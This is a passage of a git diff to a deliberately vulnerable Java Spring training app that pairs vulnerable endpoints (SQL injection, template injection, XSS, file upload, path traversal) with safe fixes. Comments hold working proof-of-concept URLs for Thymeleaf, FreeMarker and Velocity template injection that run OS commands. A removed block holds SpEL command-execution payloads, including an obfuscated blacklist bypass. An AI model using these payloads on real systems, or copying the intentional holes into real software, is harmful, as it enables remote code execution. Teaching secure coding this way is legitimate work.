@ApiOperation(value = "vul:Mybatis使用${}查询2") + @ApiOperation(value = "vul:Mybatis使用${}模糊查询") @GetMapping("/vul/search") - public List search(@RequestParam("q") String q) { - log.info("[vul] mybaits: " + q); - return userMapper.search(q); + public List searchVul(@RequestParam("user") String user) { + log.info("[vul] MyBatis 查询参数: {}", user); + return userMapper.searchVul(user); } - /** - * @poc http://127.0.0.1:8888/SQLI/MyBatis/vul/order?field=id&sort=desc,1 + * @param field 排序字段 + * @param sort 排序方式 + * @return 按指定排序方式排序的用户列表 */ @ApiOperation(value = "vul:Mybatis order by 注入(xml方式)", notes = "#{} 会将对象转成字符串,形成 order by \"user\" desc 造成错误(无法正常排序),因此很多研发会采用${}来解决,从而造成SQL注入") @GetMapping("/vul/order") @@ -44,23 +46,20 @@ public List orderBy(String field, String sort) { return userMapper.orderBy(field, sort); } - /** - * @poc http://127.0.0.1:8888/SQLI/MyBatis/vul/order2?field=id - */ @ApiOperation(value = "vul:Mybatis order by 注入(注解方式)") @GetMapping("/vul/order2") - public List order2(String field) { - log.info("[vul] mybaits: " + field); - return userMapper.orderBy2(field); + public List orderBy2(String field, String sort) { + log.info("[vul] mybaits: order by " + field + " " + sort); + return userMapper.orderBy2(field, sort); } // -----------------------------------安全分割线----------------------------------- @ApiOperation(value = "safe:Mybatis使用 #{}") - @GetMapping("/safe/query") - public List queryByUser(String user) { - return userMapper.queryByUser(user); + @GetMapping("/safe/search") + public List searchSafe(String user) { + return userMapper.searchSafe(user); } @ApiOperation(value = "safe:Mybatis 查询所有用户") @@ -69,24 +68,30 @@ public List list() { return userMapper.list(); } - /** - * @poc http://127.0.0.1:8888/SQLI/MyBatis/safe/id/1 or 1=1 - */ @ApiOperation(value = "safe:Mybatis使用${},但写死Int类型,无法注入") @GetMapping("/safe/id/{id}") public List queryById(@PathVariable Integer id) { - log.info("[safe] mybaits: " + id); - return userMapper.queryById2(id); + log.info("[safe] mybaits: {}", id); + return userMapper.queryByIdAsInterger(id); } - /** - * @poc http://127.0.0.1:8888/SQLI/MyBatis/safe/order?field=id - */ @ApiOperation(value = "safe:Mybatis order by 做映射") @GetMapping("/safe/order") public List orderBySafe(String field) { return userMapper.orderBySafe(field); } + @ApiOperation(value = "safe: MyBatis Order By 白名单与正则验证") + @GetMapping("/safe/orderbyre") + public List orderBySafeRe(String field, String sort) { + if (Security.isValidOrder(field) && Security.isValidSort(sort)) { + log.info("[safe] 验证通过: order by {} {}", field, sort); + return userMapper.orderBy2(field, sort); + } else { + // 如果参数不合法,则返回默认排序 + log.warn("[safe] 无效的排序参数:order by {} {}", field, sort); + return userMapper.orderBy2("id", "desc"); + } + } } diff --git a/src/main/java/com/best/hello/controller/SSRF.java b/src/main/java/com/best/hello/controller/SSRF.java index 241de05..cdecbc8 100644 --- a/src/main/java/com/best/hello/controller/SSRF.java +++ b/src/main/java/com/best/hello/controller/SSRF.java @@ -26,7 +26,7 @@ @Api("SSRF") @RestController -@RequestMapping("/SSRF") +@RequestMapping("/vulnapi/SSRF") public class SSRF { Logger log = LoggerFactory.getLogger(SSRF.class); diff --git a/src/main/java/com/best/hello/controller/SSTI.java b/src/main/java/com/best/hello/controller/SSTI.java index a926e95..f088526 100644 --- a/src/main/java/com/best/hello/controller/SSTI.java +++ b/src/main/java/com/best/hello/controller/SSTI.java @@ -1,19 +1,31 @@ package com.best.hello.controller; +import freemarker.cache.StringTemplateLoader; +import freemarker.core.TemplateClassResolver; +import freemarker.template.Configuration; +import freemarker.template.TemplateException; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; +import org.apache.velocity.VelocityContext; +import org.apache.velocity.app.Velocity; +import org.apache.velocity.runtime.RuntimeServices; +import org.apache.velocity.runtime.RuntimeSingleton; +import org.apache.velocity.runtime.parser.ParseException; +import org.apache.velocity.runtime.parser.node.SimpleNode; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.PathVariable; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.ui.Model; +import org.springframework.web.bind.annotation.*; +import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; +import java.io.*; +import java.nio.file.Paths; import java.util.ArrayList; import java.util.List; -import java.util.Map; + +import static com.best.hello.util.Security.checkTraversal; /** * SSTI (服务端模板注入) @@ -21,10 +33,20 @@ * @author nul1 * @date 2022/09/20 */ -@Api("服务端模版注入") +@Api("服务端模板注入") @Controller -@RequestMapping("/SSTI") +@RequestMapping("/vulnapi/SSTI") public class SSTI { + + private final Configuration conf; + private final StringTemplateLoader stringTemplateLoader; + + public SSTI(Configuration configuration) { + this.conf = configuration; + this.stringTemplateLoader = new StringTemplateLoader(); + configuration.setTemplateLoader(stringTemplateLoader); + } + Logger log = LoggerFactory.getLogger(SSTI.class); /** @@ -33,10 +55,10 @@ public class SSTI { * * @poc http://127.0.0.1:8888/SSTI/thymeleaf/vul?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%27whoami%27).getInputStream()).next()%7d__::.x */ - @ApiOperation(value = "vul:thymeleaf模版注入") + @ApiOperation(value = "vul:thymeleaf模板注入") @GetMapping("/thymeleaf/vul") public String thymeleafVul(@RequestParam String lang) { - // 模版文件参数可控 + // 模板文件参数可控 return "lang/" + lang; } @@ -62,7 +84,7 @@ public String thymeleafSafe(@RequestParam String lang) { @ApiOperation(value = "vul:url作为视图名") @GetMapping("/doc/vul/{document}") public void getDocument(@PathVariable String document) { - log.info("[vul] SSTI payload: " + document); + log.info("[vul] SSTI payload: {}", document); } @@ -72,5 +94,154 @@ public void getDocument(@PathVariable String document, HttpServletResponse respo log.info("[safe] SSTI payload: " + document); } + /** + * SpringBoot Thymeleaf 片段选择器注入 + * + * @poc http://127.0.0.1:8888/vulnapi/SSTI/thymeleaf/fragment/vul?section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22).getInputStream()).next()%7d__::.x + */ + @ApiOperation(value = "val:url作为片段选择器") + @GetMapping("/thymeleaf/fragment/vul") + public String fragmentVul(@RequestParam String section) { + return "lang/en :: " + section; + } + + /** + * 设置 @ResponseBody 注解告诉 Spring 将返回值作为响应体处理,而不再是视图名称,因此无法进行模板注入攻击 + */ + @ApiOperation(value = "safe", notes = "由于设置 @ResponseBody 注解告诉 Spring 将返回值作为响应体处理,而不再是视图名称,因此无法进行模板注入攻击") + @GetMapping("/thymeleaf/fragment/safe") + @ResponseBody + public String fragmentSafe(@RequestParam String section) { + return "lang/en :: " + section; + } + + /** + * SpringBoot FreeMarker 模板注入 + * + * @poc http://127.0.0.1:8888/vulnapi/SSTI/freemarker/vul?file=indexxx.ftl&content=%3C%23assign%20ex%3d%22freemarker%2etemplate%2eutility%2eExecute%22%3fnew%28%29%3E%20%24%7b%20ex%28%22whoami%22%29%20%7d + */ + @ApiOperation(value = "vul:freemarker模板注入") + @GetMapping("/freemarker/vul") + public String freemarkerVul(@RequestParam String file, @RequestParam String content, Model model, HttpServletRequest request) { + log.info("[vul] FreeMarker payload: {}", content); + if (checkTraversal(file)) { + model.addAttribute("error", "非法的文件路径!"); + return "commons/404"; + } + + if (file.trim().isEmpty()) { + model.addAttribute("error", "文件名不能为空!"); + return "commons/404"; + } + + if (content.trim().isEmpty()) { + model.addAttribute("error", "文件内容不能为空!"); + return "commons/404"; + } + + String resourcePath = "templates/freemarker/" + file; + try (InputStream is = getClass().getClassLoader().getResourceAsStream(resourcePath)) { + if (is == null) { + model.addAttribute("error", "模板文件不存在!"); + return "commons/404"; + } + } catch (IOException e) { + log.error("关闭流失败", e); + } + if (request.getRequestURI().contains("/freemarker/vul")) { + // 如果访问的 URI 路径包含 /freemarker/vul 则使用不安全的解析器 + conf.setNewBuiltinClassResolver(TemplateClassResolver.UNRESTRICTED_RESOLVER); + } + + // 添加模板到 StringTemplateLoader,并禁用缓存和异常日志 + stringTemplateLoader.putTemplate(file, content); + conf.setTemplateUpdateDelayMilliseconds(0); + conf.setLogTemplateExceptions(false); + return file.replace(".ftl", ""); + } + + @ApiOperation(value = "vul:freemarker模板注入修复代码") + @GetMapping("/freemarker/safe") + public String freemarkerSafe(@RequestParam String file, @RequestParam String content, Model model, HttpServletRequest request) throws TemplateException { + // 使用安全的解析器 + conf.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER); + // 关闭 FreeMarker debug 信息 + conf.setTemplateExceptionHandler(freemarker.template.TemplateExceptionHandler.RETHROW_HANDLER); + return this.freemarkerVul(file, content, model, request); + } + + /** + * velocity 模板注入evaluate场景 + * + * @poc http://127.0.0.1:8888/vulnapi/SSTI/velocity/evaluate/vul?username=%23set(%24e%3D%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22%2Cnull).invoke(null%2Cnull).exec(%22open%20-a%20Calculator%22) + */ + @ApiOperation(value = "vul:velocity模板注入evaluate场景") + @GetMapping("/velocity/evaluate/vul") + @ResponseBody + public String velocityEvaluateVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) { + String templateString = "Hello, " + username + " | phone: $phone, email: $email"; + Velocity.init(); + VelocityContext ctx = new VelocityContext(); + ctx.put("phone", "012345678"); + ctx.put("email", "xxx@xxx.com"); + StringWriter out = new StringWriter(); + Velocity.evaluate(ctx, out, "test", templateString); + return out.toString(); + } + + @ApiOperation(value = "safe:velocity") + @GetMapping("/velocity/evaluate/safe") + @ResponseBody + public String velocityEvaluateSafe(@RequestParam(defaultValue = "Hello-Java-Sec") String username) { + // username 被作为数据传递给模板,而不是直接拼接到模板字符串中 + String templateString = "Hello, $username | phone: $phone, email: $email"; + Velocity.init(); + VelocityContext ctx = new VelocityContext(); + ctx.put("username", username); + ctx.put("phone", "012345678"); + ctx.put("email", "xxx@xxx.com"); + StringWriter out = new StringWriter(); + Velocity.evaluate(ctx, out, "test", templateString); + return out.toString(); + } + + /** + * velocity 模板注入merge场景 + * + * @poc http://127.0.0.1:8888/vulnapi/SSTI/velocity/merge/vul?username=%23set(%24e%3D%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22%2Cnull).invoke(null%2Cnull).exec(%22open%20-a%20Calculator%22) + */ + @ApiOperation(value = "vul:velocity模板注入merge场景") + @GetMapping("/velocity/merge/vul") + @ResponseBody + public String velocityMergeVul(@RequestParam(defaultValue = "Hello-Java-Sec") String username) throws IOException, ParseException { + // 获取模板文件内容 + BufferedReader bufferedReader = new BufferedReader(new FileReader(String.valueOf(Paths.get(this.getClass().getClassLoader().getResource("templates/velocity/merge.vm").toString().replace("file:", ""))))); + StringBuilder stringBuilder = new StringBuilder(); + String line; + while ((line = bufferedReader.readLine()) != null) { + stringBuilder.append(line); + } + String templateString = stringBuilder.toString(); + templateString = templateString.replace("", username); + StringReader reader = new StringReader(templateString); + VelocityContext ctx = new VelocityContext(); + ctx.put("name", "Hello-Java-Sec"); + ctx.put("phone", "012345678"); + ctx.put("email", "xxx@xxx.com"); + + StringWriter out = new StringWriter(); + org.apache.velocity.Template template = new org.apache.velocity.Template(); + + RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices(); + SimpleNode node = runtimeServices.parse(reader, String.valueOf(template)); + + template.setRuntimeServices(runtimeServices); + template.setData(node); + template.initDocument(); + + template.merge(ctx, out); + + return out.toString(); + } } diff --git a/src/main/java/com/best/hello/controller/SpEL.java b/src/main/java/com/best/hello/controller/SpEL.java index fb54ddb..1f743a5 100644 --- a/src/main/java/com/best/hello/controller/SpEL.java +++ b/src/main/java/com/best/hello/controller/SpEL.java @@ -29,7 +29,7 @@ @Api("Spring 表达式注入") @RestController -@RequestMapping("/SPEL") +@RequestMapping("/vulnapi/SPEL") public class SpEL { Logger log = LoggerFactory.getLogger(SpEL.class); @@ -78,29 +78,4 @@ public String spelSafe(String ex) { return result; } - - /** - * 本地测试 - */ - public static void main(String[] args) { - // 算数运算 - String ex1 = "100*2"; - - // 对象实例化 - String ex2 = "new java.util.Date().getTime()"; - String ex3 = "new java.lang.String('hello')"; - - // T(Type): 使用"T(Type)"来表示java.lang.Class实例,同样,只有java.lang 下的类才可以省略包名 - String ex4 = "T(java.lang.Runtime).getRuntime().exec('open -a Calculator')"; - String ex5 = "T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(111).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(110)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(114)))"; - - // 利用反射绕过黑名单过滤 - String ex6 = "T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"open\",\"-a\",\"Calculator\"})"; - - ExpressionParser parser = new SpelExpressionParser(); - Expression exp = parser.parseExpression(ex3); - System.out.println(exp.getValue()); - } - - } diff --git a/src/main/java/com/best/hello/controller/Traversal.java b/src/main/java/com/best/hello/controller/Traversal.java index 7fbb269..290fc69 100644 --- a/src/main/java/com/best/hello/controller/Traversal.java +++ b/src/main/java/com/best/hello/controller/Traversal.java @@ -14,24 +14,28 @@ import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; -import java.util.ArrayList; -import java.util.List; +import java.util.HashMap; +import java.util.Map; + +import com.alibaba.fastjson.JSON; /** * @date 2021/07/15 */ @Api("目录遍历") @RestController -@RequestMapping("/Traversal") +@RequestMapping("/vulnapi/Traversal") public class Traversal { Logger log = LoggerFactory.getLogger(Traversal.class); @ApiOperation(value = "vul:任意文件下载") @GetMapping("/download") public String download(String filename, HttpServletResponse response) { + Map m = new HashMap<>(); + // 下载的文件路径 String filePath = System.getProperty("user.dir") + "/logs/" + filename; - log.info("[vul] 任意文件下载:" + filePath); + log.info("[vul] 任意文件下载:{}", filePath); try (InputStream inputStream = new BufferedInputStream(Files.newInputStream(Paths.get(filePath)))) { response.setHeader("Content-Disposition", "attachment; filename=" + filename); @@ -41,18 +45,20 @@ public String download(String filename, HttpServletResponse response) { // 使用 Apache Commons IO 库的工具方法将输入流中的数据拷贝到输出流中 IOUtils.copy(inputStream, response.getOutputStream()); log.info("文件 {} 下载成功,路径:{}", filename, filePath); - return "下载文件成功:" + filePath; + m.put("message", "success"); } catch (IOException e) { - log.error("下载文件失败,路径:{}", filePath, e); - return "未找到文件:" + filePath; + m.put("message", "未找到文件"); } + m.put("filepath", filePath); + return JSON.toJSONString(m); } @ApiOperation(value = "vul:任意路径遍历") @GetMapping("/list") public String fileList(String filename) { + Map m = new HashMap<>(); String filePath = System.getProperty("user.dir") + "/logs/" + filename; - log.info("[vul] 任意路径遍历:" + filePath); + log.info("[vul] 任意路径遍历:{}", filePath); StringBuilder sb = new StringBuilder(); File f = new File(filePath); @@ -64,19 +70,35 @@ public String fileList(String filename) { } return sb.toString(); } - return filePath + "目录不存在!"; + + m.put("message", "目录不存在"); + m.put("filepath", filePath); + return JSON.toJSONString(m); } + @ApiOperation(value = "safe:自带的安全方法") + @GetMapping("/download/safe2") + public String safe2(String filename) { + Map m = new HashMap<>(); + String filePath = System.getProperty("user.dir") + "/logs/" + filename; + String filePathSafe = Paths.get(filePath).normalize().toString(); + m.put("message", "使用normalize()方法进行路径规范化"); + m.put("originalFilePath", filePath); + m.put("safeFilePath", filePathSafe); + return JSON.toJSONString(m); + } - @ApiOperation(value = "safe:过滤../") + @ApiOperation(value = "safe:黑名单过滤") @GetMapping("/download/safe") public String safe(String filename) { + Map m = new HashMap<>(); if (!Security.checkTraversal(filename)) { - String filePath = System.getProperty("user.dir") + "/logs/" + filename; - return "安全路径:" + filePath; + m.put("message", "安全通过"); } else { - return "检测到非法遍历!"; + m.put("message", "检测到非法的文件名"); } + m.put("filename", filename); + return JSON.toJSONString(m); } } diff --git a/src/main/java/com/best/hello/controller/Unauth.java b/src/main/java/com/best/hello/controller/Unauth.java index 4751c95..6b642e5 100644 --- a/src/main/java/com/best/hello/controller/Unauth.java +++ b/src/main/java/com/best/hello/controller/Unauth.java @@ -11,7 +11,7 @@ @Api("接口未授权") @RestController -@RequestMapping("/Unauth") +@RequestMapping("/vulnapi/unauth") public class Unauth { @GetMapping("/api/info") diff --git a/src/main/java/com/best/hello/controller/Upload.java b/src/main/java/com/best/hello/controller/Upload.java index 1dbd110..53711e1 100644 --- a/src/main/java/com/best/hello/controller/Upload.java +++ b/src/main/java/com/best/hello/controller/Upload.java @@ -2,7 +2,8 @@ import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; -import lombok.extern.slf4j.Slf4j; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; @@ -13,26 +14,25 @@ import java.nio.file.Paths; @Api("上传漏洞") -@Slf4j @Controller -@RequestMapping("/UPLOAD") +@RequestMapping("/vulnapi/upload") public class Upload { + Logger log = LoggerFactory.getLogger(Upload.class); private static final String UPLOADED_FOLDER = System.getProperty("user.dir") + "/src/main/resources/static/file/"; - - @GetMapping("/upload") + @GetMapping("/uploadStatus") public String uploadStatus() { return "upload"; } @ApiOperation(value = "vul:上传任意文件") @PostMapping("/uploadVul") - public String singleFileUpload(@RequestParam("file") MultipartFile file, - RedirectAttributes redirectAttributes) { + public String uploadVul(@RequestParam("file") MultipartFile file, + RedirectAttributes redirectAttributes) { if (file.isEmpty()) { redirectAttributes.addFlashAttribute("message", "请选择要上传的文件"); - return "redirect:upload"; + return "redirect:uploadStatus"; } try { @@ -44,17 +44,16 @@ public String singleFileUpload(@RequestParam("file") MultipartFile file, Files.createDirectories(dir); } Files.write(path, bytes); - log.info("[vul] 上传文件:" + path); + log.info("[vul] 上传文件:{}", path); redirectAttributes.addFlashAttribute("message", "上传成功:" + path + " (不要将绝对路径暴露出来!)"); } catch (Exception e) { return e.toString(); } - return "redirect:upload"; + return "redirect:uploadStatus"; } - @ApiOperation(value = "safe:白名单后缀名处理") @PostMapping("/uploadSafe") public String singleFileUploadSafe(@RequestParam("file") MultipartFile file, @@ -62,7 +61,7 @@ public String singleFileUploadSafe(@RequestParam("file") MultipartFile file, if (file.isEmpty()) { redirectAttributes.addFlashAttribute("message", "请选择要上传的文件"); - return "redirect:upload"; + return "redirect:uploadStatus"; } try { @@ -70,37 +69,64 @@ public String singleFileUploadSafe(@RequestParam("file") MultipartFile file, String fileName = file.getOriginalFilename(); Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename()); - // 获取文件后缀名,并且索引到最后一个,避免使用.jpg.jsp来绕过 assert fileName != null; String Suffix = fileName.substring(fileName.lastIndexOf(".")); String[] SuffixSafe = {".jpg", ".png", ".jpeg", ".gif", ".bmp", ".ico"}; boolean flag = false; - // 如果满足后缀名单,返回true for (String s : SuffixSafe) { if (Suffix.toLowerCase().equals(s)) { flag = true; break; } } - - log.info("[safe] 上传漏洞-白名单模式:" + fileName); - + log.info("[safe] 上传漏洞-白名单模式:{}", fileName); if (!flag) { redirectAttributes.addFlashAttribute("message", "只允许上传图片,[.jpg, .png, .jpeg, .gif, .bmp, .ico]"); } else { Files.write(path, bytes); redirectAttributes.addFlashAttribute("message", - "上传文件成功:" + path + ""); + "上传文件成功:" + path); } - } catch (Exception e) { return e.toString(); } - return "redirect:upload"; + return "redirect:uploadStatus"; } + @ApiOperation(value = "vul:文件类型判断可绕过") + @PostMapping("/uploadVul2") + public String uploadVul2(@RequestParam("file") MultipartFile file, + RedirectAttributes redirectAttributes) { + if (file.isEmpty()) { + redirectAttributes.addFlashAttribute("message", "请选择要上传的文件"); + return "redirect:upload"; + } + + String contentType = file.getContentType(); + if (!"image/jpeg".equals(contentType) && !"image/png".equals(contentType)) { + redirectAttributes.addFlashAttribute("message", "不允许上传该类型文件!"); + return "redirect:uploadStatus"; + } + + try { + byte[] bytes = file.getBytes(); + Path dir = Paths.get(UPLOADED_FOLDER); + Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename()); + + if (!Files.exists(dir)) { + Files.createDirectories(dir); + } + Files.write(path, bytes); + log.info("[vul] 上传文件:{}", path); + redirectAttributes.addFlashAttribute("message", + "上传成功:" + path); + } catch (Exception e) { + return e.toString(); + } + return "redirect:uploadStatus"; + } } diff --git a/src/main/java/com/best/hello/controller/XFF.java b/src/main/java/com/best/hello/controller/XFF.java deleted file mode 100644 index dccdd98..0000000 --- a/src/main/java/com/best/hello/controller/XFF.java +++ /dev/null @@ -1,59 +0,0 @@ -package com.best.hello.controller; - -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.http.HttpServletRequest; -import java.util.Objects; - -/* - * 获取真实IP - * 1. 没有使用代理的情况下,直接从 getRemoteAddr() 获取目标真实IP - * 2. 使用nginx等反向代理的情况下,由于在客户端和服务之间增加了中间层,因此服务器无法直接拿到客户端的 IP,这时取 X-Forwarded-For 中第一个IP得到的确实为客户端真实IP - */ - -@RestController -@RequestMapping("/XFF") -public class XFF { - - /** - * 不使用代理情况下,RemoteAddr获取真实IP - */ - @GetMapping("/remote") - public static String remote(HttpServletRequest request) { - String ip = request.getRemoteAddr(); - return "RemoteAddr: " + ip; - } - - @GetMapping("/vul") - public static String vul(HttpServletRequest request) { - //String ip1 = request.getHeader("X-Real-IP"); - String ip2 = request.getHeader("X-Forwarded-For"); - System.out.println(ip2); - if (!Objects.equals(ip2, "127.0.0.1")) { - return "禁止访问,只允许本地IP!"; - } else { - return "success,你的IP:" + ip2; - } - } - - /** - * 代理情况下获取IP - * proxy_set_header X-Real-IP $remote_addr; - * Nginx以$remote_addr变量作为访客的真实IP,伪造添加xxf时,每个xxf在后面追加,形式:X-Forwarded-For: 客户端ip, 一级代理ip, 二级代理ip - * proxy_set_header X-Forwarded-For $remote_addr; - */ - @RequestMapping("/proxy") - public static String ip(HttpServletRequest request) { - String ip1 = request.getRemoteAddr(); - String ip3 = request.getHeader("X-Forwarded-For"); - - if (ip1 != null) { - return ip1; - } else { - return ip3; - } - - } -} diff --git a/src/main/java/com/best/hello/controller/XPathInjection.java b/src/main/java/com/best/hello/controller/XPathInjection.java index f20305a..df072bd 100644 --- a/src/main/java/com/best/hello/controller/XPathInjection.java +++ b/src/main/java/com/best/hello/controller/XPathInjection.java @@ -21,7 +21,7 @@ @Api("XPath 注入") @RestController -@RequestMapping("/XPath") +@RequestMapping("/vulnapi/XPath") public class XPathInjection { Logger log = LoggerFactory.getLogger(XPathInjection.class); diff --git a/src/main/java/com/best/hello/controller/XSS/XSS.java b/src/main/java/com/best/hello/controller/XSS/XSS.java index da07a30..ec84acc 100644 --- a/src/main/java/com/best/hello/controller/XSS/XSS.java +++ b/src/main/java/com/best/hello/controller/XSS/XSS.java @@ -1,18 +1,24 @@ package com.best.hello.controller.XSS; +import com.best.hello.mapper.XSSMapper; import com.best.hello.util.Security; import io.swagger.annotations.Api; import io.swagger.annotations.ApiOperation; import org.jsoup.Jsoup; -import org.jsoup.safety.Whitelist; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; +import org.jsoup.safety.Safelist; +import org.owasp.encoder.Encode; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.*; import org.springframework.web.util.HtmlUtils; import org.owasp.esapi.ESAPI; +import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; import java.io.IOException; +import java.text.SimpleDateFormat; +import java.util.Date; +import java.util.List; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -26,23 +32,27 @@ @Api("XSS漏洞") @RestController -@RequestMapping("/XSS") +@RequestMapping("/vulnapi/XSS") public class XSS { static Logger log = LoggerFactory.getLogger(XSS.class); - @ApiOperation(value = "vul: 反射型XSS") + @Autowired + private XSSMapper xssMapper; + + @ApiOperation(value = "vul: 反射型XSS", notes = "直接返回用户输入内容") @GetMapping("/reflect") - public static String vul1(String content) { - log.info("[vul] 反射型XSS:" + content); + public String xssReflect1(String content) { + log.info("[vul] 反射型XSS:{}", content); return content; } - @GetMapping("/vul2") - public static void vul2(String content, HttpServletResponse response) { - // 修复,设置ContentType类型:response.setContentType("text/plain;charset=utf-8"); + @ApiOperation(value = "反射型XSS2", notes = "使用HttpServletResponse输出用户输入内容") + @GetMapping("/reflect2") + public void xssReflect2(String content, HttpServletResponse response) { try { + // 修复方式设置ContentType类型:response.setContentType("text/plain;charset=utf-8"); response.getWriter().println(content); response.getWriter().flush(); } catch (IOException e) { @@ -50,41 +60,84 @@ public static void vul2(String content, HttpServletResponse response) { } } + @ApiOperation(value = "vul: 存储型XSS", notes = "存储用户输入内容") + @PostMapping("/save") + public String save(HttpServletRequest request, HttpSession session) { + String content = request.getParameter("content"); + SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String date = df.format(new Date()); + String user = session.getAttribute("LoginUser").toString(); + xssMapper.add(user, content, date); + log.info("[vul] 存储型XSS:{}", content); + return "success"; + } + + @ApiOperation(value = "获取存储的XSS数据") + @GetMapping("/getStored") + public List getStored() { + return xssMapper.list(); + } + + @ApiOperation(value = "删除存储的XSS数据") + @GetMapping("/delete") + public String delete(int id) { + xssMapper.deleteFeedById(id); + return "success"; + } + + @ApiOperation(value = "safe: 存储型XSS") + @PostMapping("/safeSave") + public String safeSave(HttpServletRequest request, HttpSession session) { + String content = request.getParameter("content"); + SimpleDateFormat df = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + String date = df.format(new Date()); + String user = session.getAttribute("LoginUser").toString(); + + String safe_content = HtmlUtils.htmlEscape(content); + + xssMapper.add(user, safe_content, date); + return "success"; + } @ApiOperation(value = "safe: 采用实体编码", notes = "采用自带函数HtmlUtils.htmlEscape()来过滤") @GetMapping("/escape") - public static String safe1(String content) { - log.info("[safe] htmlEscape实体编码:" + content); + public String safe1(String content) { + log.info("[safe] htmlEscape实体编码:{}", content); return HtmlUtils.htmlEscape(content); } @ApiOperation(value = "safe: 过滤特殊字符", notes = "做filterXss方法, 基于转义的方式") @GetMapping("/filter") - public static String safe2(String content) { - log.info("[safe] xss过滤:" + content); + public String safe2(String content) { + log.info("[safe] xss过滤:{}", content); return Security.filterXss(content); } - @ApiOperation(value = "safe: 富文本过滤", notes = "采用Jsoup做富文本过滤") @GetMapping("/whitelist") - public static String safe3(String content) { - Whitelist whitelist = (new Whitelist()) + public String safe3(String content) { + Safelist whitelist = (new Safelist()) .addTags("p", "hr", "div", "img", "span", "textarea") // 设置允许的标签 .addAttributes("a", "href", "title") // 设置标签允许的属性, 避免如nmouseover属性 .addProtocols("img", "src", "http", "https") // img的src属性只允许http和https开头 .addProtocols("a", "href", "http", "https"); - log.info("[safe] 富文本过滤:" + content); + log.info("[safe] 富文本过滤:{}", content); return Jsoup.clean(content, whitelist); } - - @ApiOperation(value = "safe: ESAPI", notes = "采用ESAPI过滤") + @ApiOperation(value = "safe: ESAPI") @GetMapping("/esapi") - public static String safe4(String content) { - log.info("[safe] ESAPI:" + content); + public String safe4(String content) { + log.info("[safe] ESAPI:{}", content); return ESAPI.encoder().encodeForHTML(content); } + @ApiOperation(value = "safe: OWASP Java Encoder") + @GetMapping("/owaspEncoder") + public String safe5(String content) { + log.info("[safe] Encoder:{}", content); + return Encode.forHtml(content); + } + } diff --git a/src/main/java/com/best/hello/controller/XXE/XXE.java b/src/main/java/com/best/hello/controller/XXE/XXE.java index c303087..0523415 100644 --- a/src/main/java/com/best/hello/controller/XXE/XXE.java +++ b/src/main/java/com/best/hello/controller/XXE/XXE.java @@ -45,7 +45,7 @@ @Api("Xml外部实体注入") @RestController -@RequestMapping("/XXE") +@RequestMapping("/vulnapi/XXE") public class XXE { Logger log = LoggerFactory.getLogger(XXE.class); diff --git a/src/main/java/com/best/hello/entity/UserIDOR.java b/src/main/java/com/best/hello/entity/UserIDOR.java new file mode 100644 index 0000000..c84fa34 --- /dev/null +++ b/src/main/java/com/best/hello/entity/UserIDOR.java @@ -0,0 +1,34 @@ +package com.best.hello.entity; + +/** + * entity 实体类代码 - SQLinjection and IDOR + * @date 2021/07/23 + */ + +public class UserIDOR { + + private Integer id; + private String user; + private String pass; + private String flag; + + public Integer getId() { + return id; + } + + public String getUser() { + return user; + } + + public String getPass() { + return pass; + } + + public String getFlag() { + return flag; + } + + public void setUser(String user) { + this.user = user; + } +} diff --git a/src/main/java/com/best/hello/entity/XSSEntity.java b/src/main/java/com/best/hello/entity/XSSEntity.java new file mode 100644 index 0000000..038767a --- /dev/null +++ b/src/main/java/com/best/hello/entity/XSSEntity.java @@ -0,0 +1,24 @@ +package com.best.hello.entity; + +public class XSSEntity { + private Integer id; + private String user; + private String content; + private String date; + + public Integer getId() { + return id; + } + + public String getUser() { + return user; + } + + public String getContent() { + return content; + } + + public String getDate() { + return date; + } +} diff --git 